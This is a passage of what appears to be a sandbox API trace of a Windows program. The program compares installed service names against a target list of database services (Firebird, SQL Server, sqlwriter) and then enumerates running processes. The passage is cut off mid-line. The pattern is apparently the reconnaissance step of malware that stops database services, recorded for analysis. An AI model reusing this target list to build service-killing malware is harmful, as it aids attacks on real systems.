lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.606] lstrlenW (lpString="DcomLaunch") returned 10 [0192.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.606] lstrlenW (lpString="Dhcp") returned 4 [0192.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.606] lstrlenW (lpString="Dnscache") returned 8 [0192.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0192.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.606] lstrlenW (lpString="DoSvc") returned 5 [0192.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0192.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0192.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0192.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0192.606] lstrlenW (lpString="DPS") returned 3 [0192.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.607] lstrlenW (lpString="DusmSvc") returned 7 [0192.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0192.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0192.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0192.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0192.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0192.607] lstrlenW (lpString="EventLog") returned 8 [0192.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0192.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0192.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0192.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0192.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0192.607] lstrlenW (lpString="EventSystem") returned 11 [0192.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.607] lstrlenW (lpString="FontCache") returned 9 [0192.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0192.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0192.607] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0192.607] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0192.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0192.607] lstrlenW (lpString="gpsvc") returned 5 [0192.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.608] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.608] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.608] lstrlenW (lpString="iphlpsvc") returned 8 [0192.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.608] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.608] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.608] lstrlenW (lpString="KeyIso") returned 6 [0192.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0192.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0192.608] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0192.608] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0192.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0192.608] lstrlenW (lpString="LanmanServer") returned 12 [0192.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.608] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.608] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.608] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.608] lstrlenW (lpString="lfsvc") returned 5 [0192.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0192.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0192.609] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0192.609] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0192.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0192.609] lstrlenW (lpString="LicenseManager") returned 14 [0192.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0192.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0192.609] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0192.609] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0192.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0192.609] lstrlenW (lpString="lmhosts") returned 7 [0192.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.609] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.609] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.609] lstrlenW (lpString="LSM") returned 3 [0192.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0192.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0192.609] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0192.609] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0192.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0192.609] lstrlenW (lpString="MpsSvc") returned 6 [0192.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.609] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.609] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.609] lstrlenW (lpString="NcbService") returned 10 [0192.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0192.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0192.610] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0192.610] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0192.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0192.610] lstrlenW (lpString="netprofm") returned 8 [0192.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.610] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.610] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.610] lstrlenW (lpString="NlaSvc") returned 6 [0192.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.610] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.610] lstrlenW (lpString="nsi") returned 3 [0192.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.610] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.610] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.610] lstrlenW (lpString="PcaSvc") returned 6 [0192.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.611] lstrlenW (lpString="PlugPlay") returned 8 [0192.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.611] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.611] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.611] lstrlenW (lpString="Power") returned 5 [0192.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.611] lstrlenW (lpString="ProfSvc") returned 7 [0192.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.611] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.611] lstrlenW (lpString="RpcSs") returned 5 [0192.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.612] lstrlenW (lpString="SamSs") returned 5 [0192.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.612] lstrlenW (lpString="Schedule") returned 8 [0192.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.612] lstrlenW (lpString="SecurityHealthService") returned 21 [0192.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0192.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0192.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0192.612] lstrlenW (lpString="SENS") returned 4 [0192.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.612] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.613] lstrlenW (lpString="Spooler") returned 7 [0192.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.613] lstrlenW (lpString="SSDPSRV") returned 7 [0192.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0192.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0192.613] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0192.613] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0192.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0192.613] lstrlenW (lpString="StateRepository") returned 15 [0192.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0192.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0192.628] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0192.628] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0192.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0192.628] lstrlenW (lpString="SysMain") returned 7 [0192.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.629] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.629] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.629] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e3ef8 | out: hHeap=0x790000) returned 1 [0192.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0192.634] Process32FirstW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.634] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.635] lstrlenW (lpString="System") returned 6 [0192.635] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.636] lstrlenW (lpString="smss.exe") returned 8 [0192.636] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.637] lstrlenW (lpString="csrss.exe") returned 9 [0192.637] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.639] lstrlenW (lpString="wininit.exe") returned 11 [0192.813] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.814] lstrlenW (lpString="csrss.exe") returned 9 [0192.814] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.815] lstrlenW (lpString="winlogon.exe") returned 12 [0192.815] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.816] lstrlenW (lpString="services.exe") returned 12 [0192.816] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.817] lstrlenW (lpString="lsass.exe") returned 9 [0192.817] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.818] lstrlenW (lpString="svchost.exe") returned 11 [0192.818] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.818] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.819] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.820] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.820] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.821] lstrlenW (lpString="svchost.exe") returned 11 [0192.821] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.822] lstrlenW (lpString="dwm.exe") returned 7 [0192.822] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.823] lstrlenW (lpString="svchost.exe") returned 11 [0192.823] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.824] lstrlenW (lpString="svchost.exe") returned 11 [0192.824] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.825] lstrlenW (lpString="svchost.exe") returned 11 [0192.825] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.826] lstrlenW (lpString="svchost.exe") returned 11 [0192.826] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.827] lstrlenW (lpString="svchost.exe") returned 11 [0192.827] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.828] lstrlenW (lpString="svchost.exe") returned 11 [0192.828] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.829] lstrlenW (lpString="svchost.exe") returned 11 [0192.830] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.831] lstrlenW (lpString="svchost.exe") returned 11 [0192.831] Process32NextW (in: hSnapshot=0x28c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.832] lstrlenW (lpString="svchost.exe") returned 11 [0192.832] Process32NextW (in: 